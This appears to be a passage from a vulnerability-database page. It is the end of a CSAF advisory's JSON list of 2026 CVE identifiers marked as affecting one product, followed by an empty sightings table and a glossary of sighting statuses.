"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-29181"
},
{
"cve": "CVE-2026-2950",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-2950"
},
{
"cve": "CVE-2026-31808",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-31808"
},
{
"cve": "CVE-2026-31900",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-31900"
},
{
"cve": "CVE-2026-32274",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-32274"
},
{
"cve": "CVE-2026-32288",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-32288"
},
{
"cve": "CVE-2026-32597",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-32597"
},
{
"cve": "CVE-2026-32630",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-32630"
},
{
"cve": "CVE-2026-32887",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-32887"
},
{
"cve": "CVE-2026-32952",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-32952"
},
{
"cve": "CVE-2026-33186",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-33186"
},
{
"cve": "CVE-2026-33532",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-33532"
},
{
"cve": "CVE-2026-33750",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-33750"
},
{
"cve": "CVE-2026-33814",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-33814"
},
{
"cve": "CVE-2026-33816",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-33816"
},
{
"cve": "CVE-2026-33916",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-33916"
},
{
"cve": "CVE-2026-34043",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-34043"
},
{
"cve": "CVE-2026-34073",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-34073"
},
{
"cve": "CVE-2026-34077",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-34077"
},
{
"cve": "CVE-2026-3520",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-3520"
},
{
"cve": "CVE-2026-35469",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-35469"
},
{
"cve": "CVE-2026-35515",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-35515"
},
{
"cve": "CVE-2026-3627",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-3627"
},
{
"cve": "CVE-2026-39823",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-39823"
},
{
"cve": "CVE-2026-39825",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-39825"
},
{
"cve": "CVE-2026-39826",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-39826"
},
{
"cve": "CVE-2026-39892",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-39892"
},
{
"cve": "CVE-2026-39984",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-39984"
},
{
"cve": "CVE-2026-40175",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-40175"
},
{
"cve": "CVE-2026-40179",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-40179"
},
{
"cve": "CVE-2026-40181",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-40181"
},
{
"cve": "CVE-2026-40190",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-40190"
},
{
"cve": "CVE-2026-40347",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-40347"
},
{
"cve": "CVE-2026-41066",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-41066"
},
{
"cve": "CVE-2026-41182",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-41182"
},
{
"cve": "CVE-2026-41238",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-41238"
},
{
"cve": "CVE-2026-41239",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-41239"
},
{
"cve": "CVE-2026-41240",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-41240"
},
{
"cve": "CVE-2026-41305",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-41305"
},
{
"cve": "CVE-2026-41324",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-41324"
},
{
"cve": "CVE-2026-41425",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-41425"
},
{
"cve": "CVE-2026-41481",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-41481"
},
{
"cve": "CVE-2026-41488",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-41488"
},
{
"cve": "CVE-2026-41602",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-41602"
},
{
"cve": "CVE-2026-41636",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-41636"
},
{
"cve": "CVE-2026-42151",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-42151"
},
{
"cve": "CVE-2026-42154",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-42154"
},
{
"cve": "CVE-2026-42198",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-42198"
},
{
"cve": "CVE-2026-42211",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-42211"
},
{
"cve": "CVE-2026-42338",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-42338"
},
{
"cve": "CVE-2026-42342",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-42342"
},
{
"cve": "CVE-2026-42561",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-42561"
},
{
"cve": "CVE-2026-42577",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-42577"
},
{
"cve": "CVE-2026-43870",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-43870"
},
{
"cve": "CVE-2026-44405",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-44405"
},
{
"cve": "CVE-2026-44431",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-44431"
},
{
"cve": "CVE-2026-44432",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-44432"
},
{
"cve": "CVE-2026-44486",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-44486"
},
{
"cve": "CVE-2026-44487",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-44487"
},
{
"cve": "CVE-2026-44488",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-44488"
},
{
"cve": "CVE-2026-44492",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-44492"
},
{
"cve": "CVE-2026-44494",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-44494"
},
{
"cve": "CVE-2026-44496",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-44496"
},
{
"cve": "CVE-2026-44728",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-44728"
},
{
"cve": "CVE-2026-4539",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-4539"
},
{
"cve": "CVE-2026-45409",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-45409"
},
{
"cve": "CVE-2026-45736",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-45736"
},
{
"cve": "CVE-2026-46625",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-46625"
},
{
"cve": "CVE-2026-4800",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-4800"
},
{
"cve": "CVE-2026-4923",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-4923"
},
{
"cve": "CVE-2026-4926",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-4926"
},
{
"cve": "CVE-2026-7246",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-7246"
},
{
"cve": "CVE-2026-8723",
"product_status": {
"known_affected": [
"T058718"
]
},
"release_date": "2026-08-26T22:00:00.000+00:00",
"title": "CVE-2026-8723"
}
]
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.